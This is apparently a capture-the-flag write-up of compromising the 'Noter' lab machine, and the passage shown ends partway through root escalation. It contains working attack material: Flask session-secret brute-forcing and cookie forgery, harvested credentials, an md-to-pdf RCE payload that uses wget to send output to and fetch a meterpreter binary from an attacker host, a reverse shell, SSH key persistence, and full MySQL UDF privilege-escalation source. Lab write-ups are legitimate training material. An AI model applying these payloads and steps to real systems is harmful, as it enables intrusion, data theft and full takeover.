
Noter

Scan
As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:
TCP scan
> nmap --open -p- -sV -iL input_ips.txt -oA nmap_tcp_all
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 11:22 CEST
Nmap scan report for 10.129.76.138
Host is up (0.033s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.22 secondsUDP Scan
> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_portsUser flag
Enumeration of the Web service on 5000/TCP
The Web service on the 5000/TCP port was visited and seems to be a note application.

Crawling the website revealed resources and pages :
> gop crawler -u http://10.129.76.138:5000
[+] Crawling from URL: http://10.129.76.138:5000
[ ] [Crawler] [4 / 4] [Finished]
Internal resources for http://10.129.76.138:5000
- [HTTP] [link] http://10.129.76.138:5000/notes
- [HTTP] [link] http://10.129.76.138:5000/register
- [HTTP] [link] http://10.129.76.138:5000/login
External resources for http://10.129.76.138:5000
- [HTTPS] [style] https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css
- [HTTPS] [script] https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js
- [HTTPS] [script] https://cdn.ckeditor.com/4.6.2/basic/ckeditor.js
[+] Statistics
- Number of internal resources: 3
- Number of links: 3
- Number of scripts: 0
- Number of styles: 0
- Number of images: 0
- Number of unknowns: 0
- Number of external resources: 3
- Number of links: 0
- Number of scripts: 2
- Number of styles: 1
- Number of images: 0
- Number of unknowns: 0
- Execution time: 18.252081283sIt was possible for guests visiting the application to register a new account. The account admin was created.
It is possible to add notes, to edit them and to update them.
Cookie
Once connected the following cookie is used : eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w. It looks like a JWT token. When base64 decoded the value is :
Headers = {
"logged_in": true,
"username": "admin"
}
Payload = b�GT
Signature = "hI60VI2SDkUQOnxmrbw1T7tX50w"These headers are often linked to Flask applications.
The tool flask-unsign was downloaded and used :
> flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w'
{'logged_in': True, 'username': 'admin'}The cookie is encrypted with a secret. The secret key might be weak. A brute force was tried :
> flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w'
[*] Session decodes to: {'logged_in': True, 'username': 'admin'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2432): -----BEGIN PRIVATE KEY-----xOf
[*] Attempted (10880): This_key_for_demo_purposes_onl
[+] Found secret key after 17408 attemptss_keyI_Key>e
'secret123'The secret key secret123 was discovered.
User enumeration
The login page renders a different message whether a user exists or not. If the user exists then the message is Invalid login, however, if the user does not exist, then the error message is Invalid credentials.
Using a list of username from Burp with the Intruder, the following user was found : blue.
Impersonating the user blue
Using the knowledge of the secret key and an existing user, it is possible to craft a cookie to impersonate the user blue.
> flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrBiig.stwfhvI0fhQBQ9NYH6CrCmQTVkIThe first note (http://10.129.76.138:5000/note/1/) can then be retrieved :
<h1>Noter Premium Membership</h1>
<small>Written by ftp_admin on Mon Dec 20 01:52:32 2021</small>
<hr>
<div>
<style type="text/css">
textarea {
border: none;
outline: none;
}
</style>
<textarea class="body" rows="30" cols="180" readonly>
Hello, Thank you for choosing our premium service. Now you are capable of
doing many more things with our application. All the information you are going
to need are on the Email we sent you. By the way, now you can access our FTP
service as well. Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.
(Additional information are included in the attachments we sent along the
Email)
We all hope you enjoy our service. Thanks!
ftp_admin
</textarea>The second note (http://10.129.76.138:5000/note/2/) was also retrieved :
<h1>Before the weekend</h1>
<small>Written by blue on Wed Dec 22 05:43:46 2021</small>
<hr>
<div>
<style type="text/css">
textarea {
border: none;
outline: none;
}
</style>
<textarea class="body" rows="30" cols="180" readonly>
* Delete the password note
* Ask the admin team to change the password
</textarea>So we discovered a new account named : ftp_admin. An FTP account was discovered with the following credentials : blue / blue@Noter!
Connection as the user blue
Web application
Connection to the Web application as the user blue unlocked features like :
- import notes : http://10.129.76.138:5000/import_note
- export notes : http://10.129.76.138:5000/export_note
FTP
Connection was made to the ftp server with the user blue :
> lftp 'ftp://blue:blue@Noter!@10.129.76.138'
lftp blue@10.129.76.138:/> ls -lah
drwxr-xr-x 3 0 1002 4096 May 02 23:05 .
drwxr-xr-x 3 0 1002 4096 May 02 23:05 ..
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 20:59 policy.pdf
lftp blue@10.129.76.138:/> cd files
lftp blue@10.129.76.138:/files> ls -lah
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 .
drwxr-xr-x 3 0 1002 4096 May 02 23:05 ..The file policy.pdf was retrieved :
lftp blue@10.129.76.138:~> get policy.pdf
12569 bytes transferredThe file was reviewed and one line is important :
- Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)
Connection as the user ftp_admin
Knowing that the default password is username@site_name!, a connection attempt was made for the user ftp_admin :
SSH
ssh ftp_admin@10.129.76.138
ftp_admin@10.129.76.138's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System Information as of Mon 20 Jun 2022 12:34:55 PM UTC
System load: 0.62
Usage of /: 77.3% of 4.36GB
Memory usage: 11%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.129.76.138
IPv6 address for eth0: dead:beef::250:56ff:fe96:666b
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
157 updates can be applied immediately.
112 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Jun 20 12:34:19 2022 from 10.10.14.35
This account is currently not available.
Connection to 10.129.76.138 closed.FTP
> lftp 'ftp://ftp_admin:ftp_admin@Noter!@10.129.76.138'
lftp ftp_admin@10.129.76.138:~> ls
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zipThe credentials worked. The 2 archives were downloaded.
Anlise of the discovered archives
The first archive was unzipped :
> mkdir app_backup_1635803546
> cd app_backup_1635803546
> unzip ../app_backup_1635803546.zip
Archive: ../app_backup_1635803546.zip
inflating: app.py
creating: misc/
creating: misc/attachments/
inflating: misc/package-lock.json
creating: misc/node_modules/
inflating: misc/md-to-pdf.js
creating: templates/
creating: templates/includes/
inflating: templates/includes/_messages.html
inflating: templates/includes/_navbar.html
inflating: templates/includes/_formhelpers.html
inflating: templates/import_note.html
inflating: templates/upgrade.html
inflating: templates/export_note.html
inflating: templates/note.html
inflating: templates/about.html
inflating: templates/register.html
inflating: templates/dashboard.html
inflating: templates/notes.html
inflating: templates/home.html
inflating: templates/layout.html
inflating: templates/add_note.html
inflating: templates/edit_note.html
inflating: templates/vip_dashboard.html
inflating: templates/login.htmlInside the app.py file, the following information was found :
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'The second was also unzipped and the following information was retrieved :
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'DB_user'
app.config['MYSQL_PASSWORD'] = 'DB_password'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'The routes were retrieved :
> cat app_backup_1635803546/app.py | grep route
@app.route('/')
@app.route('/about')
@app.route('/notes')
@app.route('/note/<string:id>/')
@app.route('/register', methods=['GET', 'POST'])
@app.route('/login', methods=['GET', 'POST'])
@app.route('/logout')
@app.route('/dashboard')
@app.route('/VIP',methods=['GET'])
@app.route('/add_note', methods=['GET', 'POST'])
@app.route('/edit_note/<int:id>', methods=['GET', 'POST'])
@app.route('/delete_note/<int:id>', methods=['POST'])
> cat app_backup_1638395546/app.py | grep route
@app.route('/')
@app.route('/about')
@app.route('/notes')
@app.route('/note/<string:id>/')
@app.route('/register', methods=['GET', 'POST'])
@app.route('/login', methods=['GET', 'POST'])
@app.route('/logout')
@app.route('/dashboard')
@app.route('/export_note', methods=['GET', 'POST'])
@app.route('/export_note_local/<string:id>', methods=['GET'])
@app.route('/export_note_remote', methods=['POST'])
@app.route('/import_note', methods=['GET', 'POST'])
@app.route('/VIP',methods=['GET'])
@app.route('/add_note', methods=['GET', 'POST'])
@app.route('/edit_note/<int:id>', methods=['GET', 'POST'])
@app.route('/delete_note/<int:id>', methods=['POST'])Regarding the previous discovered endpoints, the second configuration might be deployes on the machine.
Source code review of the app.py
The source code was as follows :
#!/usr/bin/python3
from flask import Flask, render_template, flash, redirect, url_for, abort, session, request, logging, send_file
from flask_mysqldb import MySQL
from wtforms import Form, StringField, TextAreaField, PasswordField, validators
from passlib.hash import sha256_crypt
from functools import wraps
import time
import requests as pyrequest
from html2text import html2text
import markdown
import random, os, subprocess
app = Flask(__name__)
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'DB_user'
app.config['MYSQL_PASSWORD'] = 'DB_password'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
attachment_dir = 'misc/attachments/'
# init MYSQL
mysql = MySQL(app)
# Index
@app.route('/')
def index():
return render_template('home.html')
# About
@app.route('/about')
def about():
return render_template('about.html')
# Check if user logged in
def is_logged_in(f):
@wraps(f)
def wrap(*args, **kwargs):
if 'logged_in' in session:
return f(*args, **kwargs)
else:
flash('Unauthorized, Please login', 'danger')
return redirect(url_for('login'))
return wrap
# notes
@app.route('/notes')
@is_logged_in
def notes():
# Create cursor
cur = mysql.connection.cursor()
# Get notes
if check_VIP(session['username']):
result = cur.execute("SELECT * FROM notes where author= (%s or 'Noter Team')",[session['username']])
else:
result = cur.execute("SELECT * FROM notes where author= %s",[session['username']])
notes = cur.fetchall()
if result > 0:
return render_template('notes.html', notes=notes)
else:
msg = 'No notes Found'
return render_template('notes.html', msg=msg)
# Close connection
cur.close()
#Single note
@app.route('/note/<string:id>/')
@is_logged_in
def note(id):
# Create cursor
cur = mysql.connection.cursor()
# Get notes
if check_VIP(session['username']):
result = cur.execute("SELECT * FROM notes where author= (%s or 'Noter Team') and id = %s",(session['username'], id))
else:
result = cur.execute("SELECT * FROM notes where author= %s",[session['username']])
note = cur.fetchone()
note['body'] = html2text(note['body'])
return render_template('note.html', note=note)
# Register Form Class
class RegisterForm(Form):
name = StringField('Name', [validators.Length(min=1, max=50)])
username = StringField('Username', [validators.Length(min=3, max=25)])
email = StringField('Email', [validators.Length(min=6, max=50)])
password = PasswordField('Password', [
validators.DataRequired(),
validators.EqualTo('confirm', message='Passwords do not match')
])
confirm = PasswordField('Confirm Password')
# User Register
@app.route('/register', methods=['GET', 'POST'])
def register():
form = RegisterForm(request.form)
if request.method == 'POST' and form.validate():
name = form.name.data
email = form.email.data
username = form.username.data
password = sha256_crypt.encrypt(str(form.password.data))
# Create cursor
cur = mysql.connection.cursor()
# Execute query
cur.execute("INSERT INTO users(name, email, username, password) VALUES(%s, %s, %s, %s)", (name, email, username, password))
# Commit to DB
mysql.connection.commit()
# Close connection
cur.close()
flash('You are now registered and can log in', 'success')
return redirect(url_for('login'))
return render_template('register.html', form=form)
# User login
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
# Get Form Fields
username = request.form['username']
password_candidate = request.form['password']
# Create cursor
cur = mysql.connection.cursor()
# Get user by username
result = cur.execute("SELECT * FROM users WHERE username = %s", ([username]))
if result > 0:
# Get stored hash
data = cur.fetchone()
password = data['password']
# Compare Passwords
if sha256_crypt.verify(password_candidate, password):
# Passed
session['logged_in'] = True
session['username'] = username
flash('You are now logged in', 'success')
return redirect(url_for('dashboard'))
else:
error = 'Invalid login'
return render_template('login.html', error=error)
# Close connection
cur.close()
else:
error = 'Invalid credentials'
return render_template('login.html', error=error)
return render_template('login.html')
# Logout
@app.route('/logout')
@is_logged_in
def logout():
session.clear()
flash('You are now logged out', 'success')
return redirect(url_for('login'))
#Check VIP
def check_VIP(username):
try:
cur = mysql.connection.cursor()
results = cur.execute(""" select username, case when role = "VIP" then True else False end as VIP from users where username = %s """, [username])
results = cur.fetchone()
cur.close()
if len(results) > 0:
if results['VIP'] == 1:
return True
return False
except Exception as e:
return render_template('login.html')
# Dashboard
@app.route('/dashboard')
@is_logged_in
def dashboard():
# Create cursor
cur = mysql.connection.cursor()
# Get notes
#result = cur.execute("SELECT * FROM notes")
# Show notes only from the user logged in
result = cur.execute("SELECT * FROM notes WHERE author = %s",[session['username']])
notes = cur.fetchall()
VIP = check_VIP(session['username'])
if result > 0:
if VIP:
return render_template('vip_dashboard.html', notes=notes)
return render_template('dashboard.html', notes=notes)
else:
msg = 'No notes Found'
if VIP:
return render_template('vip_dashboard.html', msg=msg)
return render_template('dashboard.html', msg=msg)
# Close connection
cur.close()
# parse the URL
def parse_url(url):
url = url.lower()
if not url.startswith ("http://" or "https://"):
return False, "Invalid URL"
if not url.endswith('.md'):
return False, "Invalid file type"
return True, None
# Export notes
@app.route('/export_note', methods=['GET', 'POST'])
@is_logged_in
def export_note():
if check_VIP(session['username']):
try:
cur = mysql.connection.cursor()
# Get note
result = cur.execute("SELECT * FROM notes WHERE author = %s", ([session['username']]))
notes = cur.fetchall()
if result > 0:
return render_template('export_note.html', notes=notes)
else:
msg = 'No notes Found'
return render_template('export_note.html', msg=msg)
# Close connection
cur.close()
except Exception as e:
return render_template('export_note.html', error="An error occured!")
else:
abort(403)
# Export local
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
if check_VIP(session['username']):
cur = mysql.connection.cursor()
result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
if result > 0:
note = cur.fetchone()
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
else:
return render_template('dashboard.html')
else:
abort(403)
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
# Import notes
@app.route('/import_note', methods=['GET', 'POST'])
@is_logged_in
def import_note():
if check_VIP(session['username']):
if request.method == 'GET':
return render_template('import_note.html')
elif request.method == "POST":
title = request.form['title']
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
md = "\n\n".join(r.text.split("\n")[:])
body = markdown.markdown(md)
cur = mysql.connection.cursor()
cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime()))
mysql.connection.commit()
cur.close()
return render_template('import_note.html', msg="Note imported successfully!")
except Exception as e:
return render_template('import_note.html', error="An error occured when importing!")
else:
return render_template('import_note.html', error=f"An error occured when importing! ({error})")
else:
abort(403)
# upgrade to VIP
@app.route('/VIP',methods=['GET'])
@is_logged_in
def upgrade():
return render_template('upgrade.html')
# note Form Class
class NoteForm(Form):
title = StringField('Title', [validators.Length(min=1, max=200)])
body = TextAreaField('Body', [validators.Length(min=30)])
# Add note
@app.route('/add_note', methods=['GET', 'POST'])
@is_logged_in
def add_note():
form = NoteForm(request.form)
if request.method == 'POST' and form.validate():
title = form.title.data
body = form.body.data
# Create Cursor
cur = mysql.connection.cursor()
# Execute
cur.execute("INSERT INTO notes(title, body, author,create_date ) VALUES(%s, %s, %s, %s)",(title, body, session['username'], time.ctime()))
# Commit to DB
mysql.connection.commit()
#Close connection
cur.close()
flash('note Created', 'success')
return redirect(url_for('dashboard'))
return render_template('add_note.html', form=form)
# Edit note
@app.route('/edit_note/<int:id>', methods=['GET', 'POST'])
@is_logged_in
def edit_note(id):
# Create cursor
cur = mysql.connection.cursor()
# Get note by id
result = cur.execute("SELECT * FROM notes WHERE id = %s AND author = %s", (id, session['username']))
note = cur.fetchone()
cur.close()
# Get form
form = NoteForm(request.form)
# Populate note form fields
form.title.data = note['title']
form.body.data = note['body']
if request.method == 'POST' and form.validate():
title = request.form['title']
body = request.form['body']
# Create Cursor
cur = mysql.connection.cursor()
app.logger.info(title)
# Execute
cur.execute ("UPDATE notes SET title=%s, body=%s WHERE id=%s AND author = %s",(title, body, id, session['username']))
# Commit to DB
mysql.connection.commit()
#Close connection
cur.close()
flash('note Updated', 'success')
return redirect(url_for('dashboard'))
return render_template('edit_note.html', form=form)
# Delete note
@app.route('/delete_note/<int:id>', methods=['POST'])
@is_logged_in
def delete_note(id):
# Create cursor
cur = mysql.connection.cursor()
# Execute
cur.execute("DELETE FROM notes WHERE id = %s AND author= %s",(id, session['username']))
# Commit to DB
mysql.connection.commit()
#Close connection
cur.close()
flash('Note deleted', 'success')
return redirect(url_for('dashboard'))
if __name__ == '__main__':
app.secret_key='secret123'
app.run(host="0.0.0.0",debug=False)The export_note_remote take a url that begins with http or https and ends with .md and will use the md-to-pdf.js tool to convert the text in a PDF.
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)It seems that we can give an arbitrary output as input by pointing the function to a URL we control. Searching for code execution, it appeared that the tool used (md-to-pdf.js) is prone to security vulnerability allowing a code execution.
This is the (CVE-2021-23639)[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23639]. Description of the CVE is the following :
The package md-to-pdf before 5.0.0 are vulnerable to Remote Code Execution (RCE) due to utilising the library gray-matter to parse front matter content, without disabling the JS engine.
From the package-lock.json file, the version used is th 4.1.0.
"md-to-pdf": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/md-to-pdf/-/md-to-pdf-4.1.0.tgz",
"integrity": "sha512-5CJVxncc51zkNY3vsbW49aUyylqSzUBQkiCsB0+6FlzO/qqR4UHi/e7Mh8RPMzyqiQGDAeK267I3U5HMl0agRw==",
"requires": {
"arg": "5.0.0",
"chalk": "4.1.1",
"chokidar": "3.5.2",
"get-port": "5.1.1",
"get-stdin": "8.0.0",
"gray-matter": "4.0.3",
"highlight.js": "11.0.1",
"iconv-lite": "0.6.3",
"listr": "0.14.3",
"marked": "2.1.3",
"puppeteer": ">=8.0.0",
"semver": "7.3.5",
"serve-handler": "6.1.3"
}
},The package used as a chance to be prone to this security vulnerability.
I finaly used the following exploit code to confirm the RCE :
> cat test.md
---js
((require("child_process")).execSync("wget http://10.10.14.35:1337/$(whoami)"))
---
Document exampleA listener was set on port 1337/TCP:
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.76.138] 54522
GET /svc HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.35:1337
Connection: Keep-AliveA connection was received and the used user seems to be svc.
A meterpreter was generated, downloaded and then executed on the system using the following payload :
---js
((require("child_process")).execSync("wget http://10.10.14.35:8000/shell.elf -O /tmp/shell.elf;chmod +x /tmp/shell.elf;/tmp/shell.elf"))
---
Document examplemsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
payload => linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.35:4444
[*] Meterpreter session 1 opened (10.10.14.35:4444 -> 10.129.76.138:57630) at 2022-06-20 17:32:22 +0200
meterpreter > getuid
Server username: svc
meterpreter > sysinfo
Computer : 10.129.76.138
OS : Ubuntu 20.04 (Linux 5.4.0-91-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linuxmeterpreter > shell
Process 116225 created.
Channel 1 created.
id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
python -c 'import pty; pty.spawn("/bin/sh")'
$ ls
ls
app.py misc templates
$ pwd
pwd
/home/svc/app/webThe access was transformed to SSH by copying a public key into the authorized_keys file.
$ mkdir ~/.ssh
$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrWm5Ry/bTuYBfBc+fwkdzWm0P2YGiBbQY4ZQ9yoDfqrTy+lQuFSzwy47H707aixYpCJ+Dtj0O3u5xb0bONcqjOl4HBVKxx8IoPZUF5qPZlyFF1XXNzKkf9YpZqRTCum1ubEBY30WHktu7846Xdha+n49lqFoGEwfPcEQrPk7Z7lbrlOSQOjrtMAgbd5WGFVakb/hAcW+DMPyrrz+8w91oXzeadHe+hZKu/fWthVnVhHkCYUnly3md2VCGtCPEbEsqE2d7gfzjQyCPPr1IYiMctP5wNaJsY5PjmkqFjWoebwacM0O+6PmdTGg/85+rPplxVWIYiN4Mt91yolCpJ3H/zBoaiUXFxt82Xh9qQhD0elUSj4WtvAoCiO6UI49xcujcxfPxoT/HqInepUeP+FFAATv5w/KNJe0mHwnNrkbGaJtCEPcTNfEvP/a3AvREd/xWc9SQCqr1EsufcDwqjTrBt0RGwsaEstaQpTo55eJ7XfOdPqSTDRJR7l5vsMohIi0= hophouse@kali' > /home/svc/.ssh/authorized_keys> ssh svc@10.129.76.138
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System Information as of Mon 20 Jun 2022 03:38:29 PM UTC
System load: 0.0
Usage of /: 87.1% of 4.36GB
Memory usage: 14%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for eth0: 10.129.76.138
IPv6 address for eth0: dead:beef::250:56ff:fe96:666b
=> / is using 87.1% of 4.36GB
157 updates can be applied immediately.
112 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings.
svc@noter:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)Flag
The user flag was retrieved on the machine using the shell :

Root
Enumerating in the context of the user svc
backup.sh file
Under /opt/backup.sh, the following script was identified :
svc@noter:~$ ls -lah /opt/backup.sh
-rwxr--r-- 1 root root 137 Dec 30 09:41 /opt/backup.sh
svc@noter:~$ cat /opt/backup.sh
#!/bin/bash
zip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*The owner is root. We might think that it is run by root. Therefore it might be possible to have command execution on behalf of the root user. However the folders were the script take files all belong to the user root :
svc@noter:~$ ls -lah /home/svc/app/web/
total 32K
drwxr-xr-x 4 root root 4.0K May 2 23:05 .
drwxrwxr-x 3 root root 4.0K May 2 23:05 ..
-rw-rw-r-- 1 root root 14K May 2 16:30 app.py
drwxr-xr-x 4 root root 4.0K May 2 23:05 misc
drwxr-xr-x 3 root root 4.0K May 2 23:05 templatesMySQL
MySQL is running as root. We can try to load a custom function to it in order to privesc. The following exploit was used :
svc@noter:~$ cat hop_udf2.c
/*
* $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
*
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!), slightly modified to work
* with newer versions of the open-source database. Tested on MySQL 4.1.14.
*
* See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
*
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
* for the security vulnerabilities in the handling of User Defined Functions
* (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
* details, please refer to:
*
* http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
* http://www.wisec.it/vulns.php?page=4
* http://www.wisec.it/vulns.php?page=5
* http://www.wisec.it/vulns.php?page=6
*
* "UDFs should have at least one symbol defined in addition to the xxx symbol
* that corresponds to the main xxx() function. These auxiliary symbols
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
* xxx_add() functions". -- User Defined Functions Security Precautions
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
// milw0rm.com [2006-02-20]Once uploaded and executed on the machine, it was possible to privesc.
svc@noter:~$ gcc -g -c hop_udf2.c
svc@noter:~$ gcc -g -shared -Wl,-soname,hop_udf2.so -o hop_udf2.so hop_udf2.o -lc
svc@noter:~$ mysql -u root -p
Enter password:
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.013 sec)
MariaDB [mysql]> insert into foo values(load_file('/home/svc/hop_udf2.so'));
Query OK, 1 row affected (0.005 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/hop_udf2.so';
